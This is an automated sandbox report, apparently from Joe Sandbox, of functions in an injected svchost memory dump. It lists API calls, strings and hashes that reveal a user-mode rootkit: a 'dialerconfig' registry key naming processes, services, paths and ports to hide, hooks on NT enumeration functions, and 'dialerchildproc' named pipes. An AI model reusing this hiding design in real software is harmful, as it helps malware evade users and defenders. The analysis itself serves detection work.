Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 315950f2970cd4e23eb0bb7edb8b7cf3ceedc3dc3316b9e43c8c6da18fa3bab3
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: C2313B72245FC19AEB609F60E8807FD73A5F784788F48446ADA4E57B98EF38C648C710

Function 000001F28C93D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001F28C93D31D
RtlLookupFunctionEntry.NTDLL ref: 000001F28C93D335
RtlVirtualUnwind.NTDLL ref: 000001F28C93D370
IsDebuggerPresent.KERNEL32 ref: 000001F28C93D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001F28C93D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001F28C93D3BE

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: de600b675c99b63b07bfc61b3ea15e563d1fd6e5409b2fafadfe2c025ff4e9af
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: B7316672254FC196EB608B25E8803FE73A4F789798F540166EA9D43BA8EF38C545CB00

Function 000001F28C931628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C931633
HeapAlloc.KERNEL32 ref: 000001F28C931642

Part of subcall function 000001F28C931268: GetProcessHeap.KERNEL32 ref: 000001F28C93126E
Part of subcall function 000001F28C931268: HeapAlloc.KERNEL32 ref: 000001F28C93127D
Part of subcall function 000001F28C931268: GetProcessHeap.KERNEL32 ref: 000001F28C931297
Part of subcall function 000001F28C931268: HeapAlloc.KERNEL32 ref: 000001F28C9312A8

RegOpenKeyExW.ADVAPI32 ref: 000001F28C9316B2
RegOpenKeyExW.ADVAPI32 ref: 000001F28C9316DF
RegCloseKey.ADVAPI32 ref: 000001F28C9316F9
RegOpenKeyExW.ADVAPI32 ref: 000001F28C931719
RegCloseKey.ADVAPI32 ref: 000001F28C931734
RegOpenKeyExW.ADVAPI32 ref: 000001F28C931754
RegCloseKey.ADVAPI32 ref: 000001F28C93176F
RegOpenKeyExW.ADVAPI32 ref: 000001F28C93178F
RegCloseKey.ADVAPI32 ref: 000001F28C9317AA
RegOpenKeyExW.ADVAPI32 ref: 000001F28C9317CA
RegCloseKey.ADVAPI32 ref: 000001F28C9317E5
RegOpenKeyExW.ADVAPI32 ref: 000001F28C931805
RegCloseKey.ADVAPI32 ref: 000001F28C931820
RegOpenKeyExW.ADVAPI32 ref: 000001F28C931840
RegCloseKey.ADVAPI32 ref: 000001F28C93185B
RegOpenKeyExW.ADVAPI32 ref: 000001F28C93187B
RegCloseKey.ADVAPI32 ref: 000001F28C931896
RegCloseKey.ADVAPI32 ref: 000001F28C9318A0

Part of subcall function 000001F28C9312BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001F28C931319
Part of subcall function 000001F28C9312BC: GetProcessHeap.KERNEL32 ref: 000001F28C931327
Part of subcall function 000001F28C9312BC: HeapAlloc.KERNEL32 ref: 000001F28C931338
Part of subcall function 000001F28C9312BC: RegEnumValueW.ADVAPI32 ref: 000001F28C931397
Part of subcall function 000001F28C9312BC: GetProcessHeap.KERNEL32 ref: 000001F28C9313DF
Part of subcall function 000001F28C9312BC: HeapAlloc.KERNEL32 ref: 000001F28C9313ED
Part of subcall function 000001F28C9312BC: GetProcessHeap.KERNEL32 ref: 000001F28C93140A
Part of subcall function 000001F28C9312BC: HeapFree.KERNEL32 ref: 000001F28C931418
Part of subcall function 000001F28C9312BC: lstrlenW.KERNEL32 ref: 000001F28C931421
Part of subcall function 000001F28C9312BC: GetProcessHeap.KERNEL32 ref: 000001F28C93142F
Part of subcall function 000001F28C9312BC: HeapAlloc.KERNEL32 ref: 000001F28C93143D

Strings

SOFTWARE\dialerconfig, xrefs: 000001F28C931692
process_names, xrefs: 000001F28C93174D
tcp_local, xrefs: 000001F28C9317FE
udp, xrefs: 000001F28C931874
startup, xrefs: 000001F28C9316D5
paths, xrefs: 000001F28C931788
pid, xrefs: 000001F28C931712
tcp_remote, xrefs: 000001F28C931839
service_names, xrefs: 000001F28C9317C3

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: c2eb12f427962f4a473e0d6cdd6568ad5d847194dadf60defaa1d10753933b52
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: A871D676250E92C6EB209F76E8906F923E4FB84BCDF046161DE4E57A69EF38C444C744

Function 000001F28C9312BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001F28C931319
GetProcessHeap.KERNEL32 ref: 000001F28C931327
HeapAlloc.KERNEL32 ref: 000001F28C931338
RegEnumValueW.ADVAPI32 ref: 000001F28C931397

Part of subcall function 000001F28C93152C: StrCmpIW.SHLWAPI ref: 000001F28C93155D

GetProcessHeap.KERNEL32 ref: 000001F28C9313DF
HeapAlloc.KERNEL32 ref: 000001F28C9313ED
GetProcessHeap.KERNEL32 ref: 000001F28C93140A
HeapFree.KERNEL32 ref: 000001F28C931418
lstrlenW.KERNEL32 ref: 000001F28C931421
GetProcessHeap.KERNEL32 ref: 000001F28C93142F
HeapAlloc.KERNEL32 ref: 000001F28C93143D
StrCpyW.SHLWAPI ref: 000001F28C93145F
GetProcessHeap.KERNEL32 ref: 000001F28C931476
HeapFree.KERNEL32 ref: 000001F28C931484

Strings

d, xrefs: 000001F28C93135A

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 18f95a425c74309a6456fd4bbe7ec78cd519c13267e7c4c7f8ddd63764443e45
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 8E512676244F85C6EB54CF62E5483BAB7E1F789BD9F048134DA4A07B68EF38C1498B00

Function 000001F28C931D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001F28C931D1F

Part of subcall function 000001F28C931FD4: GetModuleHandleA.KERNEL32 ref: 000001F28C931FEC
Part of subcall function 000001F28C931FD4: GetProcAddress.KERNEL32 ref: 000001F28C931FFD

Part of subcall function 000001F28C935B30: GetCurrentThreadId.KERNEL32 ref: 000001F28C935B6B

Strings

NtQuerySystemInformation, xrefs: 000001F28C931D45
advapi32.dll, xrefs: 000001F28C931DF7, 000001F28C931E18
NtEnumerateKey, xrefs: 000001F28C931DB9
ntdll.dll, xrefs: 000001F28C931D2D
EnumServiceGroupW, xrefs: 000001F28C931DF0
sechost.dll, xrefs: 000001F28C931E39
EnumServicesStatusExW, xrefs: 000001F28C931E11, 000001F28C931E32
NtQueryDirectoryFile, xrefs: 000001F28C931D7F
NtQueryDirectoryFileEx, xrefs: 000001F28C931D9C
NtEnumerateValueKey, xrefs: 000001F28C931DD6
NtResumeThread, xrefs: 000001F28C931D62
NtDeviceIoControlFile, xrefs: 000001F28C931E56

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 9487c6cd3bd73dd193c882a9535ab93ec09423b9485fe8c9d985bb2c2d5cc9fb
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: A3318F79280ECBA1EA05EBB5EC616F463A4F7043C4F88A0F3E85953576AF388259C350

Function 000001F28C1D6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001F28C1D6938
__scrt_acquire_startup_lock.LIBCMT ref: 000001F28C1D698A
_RTC_Initialize.LIBCMT ref: 000001F28C1D69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001F28C1D69DE
__scrt_release_startup_lock.LIBCMT ref: 000001F28C1D6A09

Strings

`eh vector vbase copy constructor iterator', xrefs: 000001F28C1D69EE
`dynamic initializer for ', xrefs: 000001F28C1D69C7
scriptor', xrefs: 000001F28C1D6B39, 000001F28C1D6BB2, 000001F28C1D6BEC
`eh vector copy constructor iterator', xrefs: 000001F28C1D6A3B

Memory Dump Source

Source File: 00000043.00000002.3294067605.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 3ae14674ec2a8346f3f84ed9e0c01df585913646f7da2965e941060b61735599
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: F581F0717C0E038AFA54DB66A4C03F96ED0AB85BC0F448935FB498379ADB38E8458700

Function 000001F28C93CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000001F28C93CE37
FlsGetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CE4C
FlsSetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CE6D
FlsSetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CE9A
FlsSetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CEAB
FlsSetValue.KERNEL32(?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CEBC
SetLastError.KERNEL32 ref: 000001F28C93CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CF0D
FlsSetValue.KERNEL32(?,?,00000001,000001F28C93ECCC,?,?,?,?,000001F28C93BF9F,?,?,?,?,?,000001F28C937AB0), ref: 000001F28C93CF2C

Part of subcall function 000001F28C93D6CC: HeapAlloc.KERNEL32 ref: 000001F28C93D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CF54

Part of subcall function 000001F28C93D744: HeapFree.KERNEL32 ref: 000001F28C93D75A
Part of subcall function 000001F28C93D744: GetLastError.KERNEL32 ref: 000001F28C93D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F28C940A6B,?,?,?,000001F28C94045C,?,?,?,000001F28C93C84F), ref: 000001F28C93CF76

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: c1dccc9a58c3acbe364e99b3de5aaac7dedc88dfaa24f6078136831367b18d4b
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 274149713C1EC782FA68A73159553FA22C25B84BF4F2C27B4E836076E6EF3998018200

Function 000001F28C932244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001F28C932259
GetCurrentProcessId.KERNEL32 ref: 000001F28C932263

Part of subcall function 000001F28C931934: OpenProcess.KERNEL32 ref: 000001F28C931952
Part of subcall function 000001F28C931934: IsWow64Process.KERNEL32 ref: 000001F28C931968
Part of subcall function 000001F28C931934: CloseHandle.KERNEL32 ref: 000001F28C931983

CreateFileW.KERNEL32 ref: 000001F28C9322BC
WriteFile.KERNEL32 ref: 000001F28C9322E4
ReadFile.KERNEL32 ref: 000001F28C932303
CloseHandle.KERNEL32 ref: 000001F28C93230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 000001F28C93228C
\\.\pipe\dialerchildproc32, xrefs: 000001F28C932293

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 57cb264d3990d0bdc8e496bdce57bc45f54469c11ba177c15f029bb998e39be8
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: BE213876658E82C2EB209B25F4443BA67E0F789BE5F544265EA5907AA8DF3CC149CB00

Function 000001F28C93A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001F28C93A5A1

Part of subcall function 000001F28C93B414: __GetUnwindTryBlock.LIBCMT ref: 000001F28C93B457
Part of subcall function 000001F28C93B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001F28C93B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001F28C93A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001F28C93A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001F28C93A9DA

Strings

csm, xrefs: 000001F28C93A5BB
csm, xrefs: 000001F28C93A622
csm, xrefs: 000001F28C93A69C

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: e40025dd339e04ccce31ab42e6e43acdbfcb282d0efd4a44ebad16c513d6860d
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 51E17A72640B828AEB209BB598803FD77E0F755BE8F196166EE8957B99CF34C481C701

Function 000001F28C1D9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001F28C1D99A1

Part of subcall function 000001F28C1DA814: __GetUnwindTryBlock.LIBCMT ref: 000001F28C1DA857
Part of subcall function 000001F28C1DA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001F28C1DA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001F28C1D9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001F28C1D9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001F28C1D9DDA

Strings

csm, xrefs: 000001F28C1D9A9C
csm, xrefs: 000001F28C1D99BB
csm, xrefs: 000001F28C1D9A22

Memory Dump Source

Source File: 00000043.00000002.3294067605.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: a9609446f00a766f3d3b655ef47b5d2ff7605ba4997714f758606ca2dc9d6f4c
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 38E15672644F828AEB609F65E4803ED7BE0F755BD8F104125EB8957B9ACF38E491C740

Function 000001F28C93F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000001F28C93F510
GetProcAddress.KERNEL32 ref: 000001F28C93F51C

Strings

ext-ms-, xrefs: 000001F28C93F46D
api-ms-, xrefs: 000001F28C93F45A

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 13c93742e32ee18173703abb3e1a129c63d5b1ec7d71d03a5c5f3c659c718adc
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 1E41AF72391E82D1EB16CB76A9087F623D1FB49BE0F0962B9DD0A87785EF39C4458314

Function 000001F28C93104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001F28C9310B1
RegEnumValueW.ADVAPI32 ref: 000001F28C931117
GetProcessHeap.KERNEL32 ref: 000001F28C93115A
HeapAlloc.KERNEL32 ref: 000001F28C931168
GetProcessHeap.KERNEL32 ref: 000001F28C931185
HeapFree.KERNEL32 ref: 000001F28C931193

Strings

d, xrefs: 000001F28C9310D6

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: e61549d0980b68c844d3942048ca76a1816c2b656e0948ec105a341f4de0e688
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 2D412A72254FC5CAE760CF61E4447EA77E1F389B99F448129DA8907B58EF38C589CB40

Function 000001F28C93D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D087
FlsSetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D0A6
FlsSetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D0CE
FlsSetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D0DF
FlsSetValue.KERNEL32(?,?,?,000001F28C93C7DE,?,?,?,?,?,?,?,?,000001F28C93CF9D,?,?,00000001), ref: 000001F28C93D0F0

Strings

Y%, xrefs: 000001F28C93D0A6
1%, xrefs: 000001F28C93D0CE

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 5dc8ff007fbd2db76a624d83063225198278ec11a387f4125d1c2f12366c8b68
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: D2119332794EC782FA68973565613FA62C95B44BF4F1C63F4E839076EADF38C4028200

Function 000001F28C937510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001F28C937538
__scrt_acquire_startup_lock.LIBCMT ref: 000001F28C93758A
_RTC_Initialize.LIBCMT ref: 000001F28C9375B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001F28C9375DE
__scrt_release_startup_lock.LIBCMT ref: 000001F28C937609

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 9b580adf4509b41eb4a94773ff5a8102b7ce542dff54e5b26089740a9ad9f4c5
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: ED81F771780EC386FB54AB35AA513F922D1AB85BCCF1CA4F5E90987796EB38C845C710

Function 000001F28C939DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001F28C939E49
GetLastError.KERNEL32 ref: 000001F28C939E57
LoadLibraryExW.KERNEL32 ref: 000001F28C939E81
FreeLibrary.KERNEL32 ref: 000001F28C939EC7
GetProcAddress.KERNEL32 ref: 000001F28C939ED3

Strings

api-ms-, xrefs: 000001F28C939E69

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 03f29b56315fbdb1e2c5d3331ac812390df4fb0cbb8384e9f5da931591f2930e
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 9D31A232292E82E1EE219B62A4007F523D4B748BE0F5E6675DD2E0B7D0EF39C5858310

Function 000001F28C943DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001F28C943DE5
GetLastError.KERNEL32 ref: 000001F28C943DF1
CloseHandle.KERNEL32 ref: 000001F28C943E09
CreateFileW.KERNEL32 ref: 000001F28C943E34
WriteConsoleW.KERNEL32 ref: 000001F28C943E53

Strings

CONOUT$, xrefs: 000001F28C943E15

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 67fdd3f2f8992466b5831d267c2879e71773b428b435bf4b694825e767cf1671
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 69115B71250E82C6E7508B52E8547B966E0F788FE5F448264EA5E87794DB38C9148740

Function 000001F28C933790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001F28C93379E
GetCurrentProcess.KERNEL32 ref: 000001F28C9337CC
VirtualProtectEx.KERNEL32 ref: 000001F28C9337EE
GetCurrentProcess.KERNEL32 ref: 000001F28C933809
VirtualProtectEx.KERNEL32 ref: 000001F28C93382A

Strings

wr, xrefs: 000001F28C9337FF

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 9fd3b5cfc8d5e8966b9d3604d7804b60c4d561f4ad314e44b91f313a0dd5a99b
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: BB112A7A745B82C2EB149B22E4082B962A0F748BD5F4841B9DE8D07B54EF3DC545C704

Function 000001F28C935B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F28C935B6B
GetThreadContext.KERNEL32 ref: 000001F28C935CD5

Part of subcall function 000001F28C935960: GetCurrentThreadId.KERNEL32 ref: 000001F28C935964

Memory Dump Source

Source File: 00000043.00000002.3295131706.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

